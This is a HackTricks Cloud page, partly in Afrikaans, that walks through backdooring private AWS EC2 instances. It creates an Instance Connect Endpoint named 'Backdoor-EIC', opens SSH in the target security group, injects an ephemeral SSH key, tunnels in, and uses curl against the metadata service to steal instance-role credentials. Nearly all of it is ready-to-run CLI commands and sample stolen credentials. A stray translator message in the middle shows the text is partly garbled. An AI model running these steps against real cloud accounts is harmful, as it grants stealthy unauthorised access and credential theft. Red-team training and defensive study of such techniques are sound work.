AWS - EC2 Instance Connect Endpoint backdoor + ephemeral SSH key injection
Tip
Leer en oefen AWS Hacking:
HackTricks Training AWS Red Team Expert (ARTE)
Leer en oefen GCP Hacking:HackTricks Training GCP Red Team Expert (GRTE)
Leer en oefen Azure Hacking:
HackTricks Training Azure Red Team Expert (AzRTE)
Ondersteun HackTricks
- Kyk na die subskripsie planne!
- Sluit aan by die 💬 Discord groep of die telegram groep of volg ons op Twitter 🐦 @hacktricks_live.
- Deel hacking truuks deur PRs in te dien na die HackTricks en HackTricks Cloud github repos.
Misbruik EC2 Instance Connect Endpoint (EIC Endpoint) om inkomende SSH-toegang tot private EC2 instances (geen publieke IP/bastion) te verkry deur:
- Creating an EIC Endpoint inside the target subnet
- Toelaat inkomende SSH op die teiken SG vanaf die EIC Endpoint SG
- Inspuiting van ’n korttermyn SSH publieke sleutel (geldend ~60 sekondes) met
ec2-instance-connect:SendSSHPublicKey - Opening an EIC tunnel and pivoting to the instance to steal instance profile credentials from IMDS
Impact: ’n onopvallende remote toegangspad na private EC2 instances wat bastions en publieke IP-beperkings omseil. Die aanvaller kan die instance profile aanneem en in die rekening opereer.
Vereistes
- Permissies vir:
ec2:CreateInstanceConnectEndpoint,ec2:Describe*,ec2:AuthorizeSecurityGroupIngressec2-instance-connect:SendSSHPublicKey,ec2-instance-connect:OpenTunnel- Teiken Linux-instance met SSH-bediener en EC2 Instance Connect aangeskakel (Amazon Linux 2 of Ubuntu 20.04+). Standaardgebruikers:
ec2-user(AL2) ofubuntu(Ubuntu).
Veranderlikes
export REGION=us-east-1
export INSTANCE_ID=<i-xxxxxxxxxxxx>
export SUBNET_ID=<subnet-xxxxxxxx>
export VPC_ID=<vpc-xxxxxxxx>
export TARGET_SG_ID=<sg-of-target-instance>
export ENDPOINT_SG_ID=<sg-for-eic-endpoint>
# OS user for SSH (ec2-user for AL2, ubuntu for Ubuntu)
export OS_USER=ec2-user
Skep EIC-eindpunt
aws ec2 create-instance-connect-endpoint \
--subnet-id "$SUBNET_ID" \
--security-group-ids "$ENDPOINT_SG_ID" \
--tag-specifications 'ResourceType=instance-connect-endpoint,Tags=[{Key=Name,Value=Backdoor-EIC}]' \
--region "$REGION" \
--query 'InstanceConnectEndpoint.InstanceConnectEndpointId' --output text | tee EIC_ID
# Wait until ready
while true; do
aws ec2 describe-instance-connect-endpoints \
--instance-connect-endpoint-ids "$(cat EIC_ID)" --region "$REGION" \
--query 'InstanceConnectEndpoints[0].State' --output text | tee EIC_STATE
grep -q 'create-complete' EIC_STATE && break
sleep 5
done
Laat verkeer van EIC Endpoint na target instance toe
aws ec2 authorize-security-group-ingress \
--group-id "$TARGET_SG_ID" --protocol tcp --port 22 \
--source-group "$ENDPOINT_SG_ID" --region "$REGION" || true
Injekteer kortstondige SSH-sleutel en open tunnel
# Generate throwaway key
ssh-keygen -t ed25519 -f /tmp/eic -N ''
# Send short-lived SSH pubkey (valid ~60s)
aws ec2-instance-connect send-ssh-public-key \
--instance-id "$INSTANCE_ID" \
--instance-os-user "$OS_USER" \
--ssh-public-key file:///tmp/eic.pub \
--region "$REGION"
# Open a local tunnel to instance:22 via the EIC Endpoint
aws ec2-instance-connect open-tunnel \
--instance-id "$INSTANCE_ID" \
--instance-connect-endpoint-id "$(cat EIC_ID)" \
--local-port 2222 --remote-port 22 --region "$REGION" &
TUN_PID=$!; sleep 2
# SSH via the tunnel (within the 60s window)
ssh -i /tmp/eic -p 2222 "$OS_USER"@127.0.0.1 -o StrictHostKeyChecking=no
Post-exploitation bewys (steal instance profile credentials)
# From the shell inside the instance
curl -s http://169.254.169.254/latest/meta-data/iam/security-credentials/ | tee ROLE
curl -s http://169.254.169.254/latest/meta-data/iam/security-credentials/$(cat ROLE)
I don’t have the contents of src/pentesting-cloud/aws-security/aws-post-exploitation/aws-ec2-ebs-ssm-and-vpc-post-exploitation/aws-ec2-instance-connect-endpoint-backdoor.md. Please paste the markdown text you want translated and I’ll return the Afrikaans translation preserving all tags, links and code exactly as requested.
{
"Code": "Success",
"AccessKeyId": "ASIA...",
"SecretAccessKey": "w0G...",
"Token": "IQoJ...",
"Expiration": "2025-10-08T04:09:52Z"
}
Gebruik die gesteelde creds lokaal om identiteit te verifieer:
export AWS_ACCESS_KEY_ID=<AccessKeyId>
export AWS_SECRET_ACCESS_KEY=<SecretAccessKey>
export AWS_SESSION_TOKEN=<Token>
aws sts get-caller-identity --region "$REGION"
# => arn:aws:sts::<ACCOUNT_ID>:assumed-role/<InstanceRoleName>/<InstanceId>
Opruiming
# Revoke SG ingress on the target
aws ec2 revoke-security-group-ingress \
--group-id "$TARGET_SG_ID" --protocol tcp --port 22 \
--source-group "$ENDPOINT_SG_ID" --region "$REGION" || true
# Delete EIC Endpoint
aws ec2 delete-instance-connect-endpoint \
--instance-connect-endpoint-id "$(cat EIC_ID)" --region "$REGION"
Let wel
- Die ingevoegde SSH-sleutel is slegs geldig vir ~60 sekondes; stuur die sleutel net voordat jy die tonnel/SSH oopmaak.
OS_USERmoet ooreenstem met die AMI (bv.ubuntuvir Ubuntu,ec2-uservir Amazon Linux 2). [!TIP] Leer en oefen AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Leer en oefen GCP Hacking:HackTricks Training GCP Red Team Expert (GRTE)
Leer en oefen Azure Hacking:
HackTricks Training Azure Red Team Expert (AzRTE)
Ondersteun HackTricks
- Kyk na die subskripsie planne!
- Sluit aan by die 💬 Discord groep of die telegram groep of volg ons op Twitter 🐦 @hacktricks_live.
- Deel hacking truuks deur PRs in te dien na die HackTricks en HackTricks Cloud github repos.
HackTricks Cloud

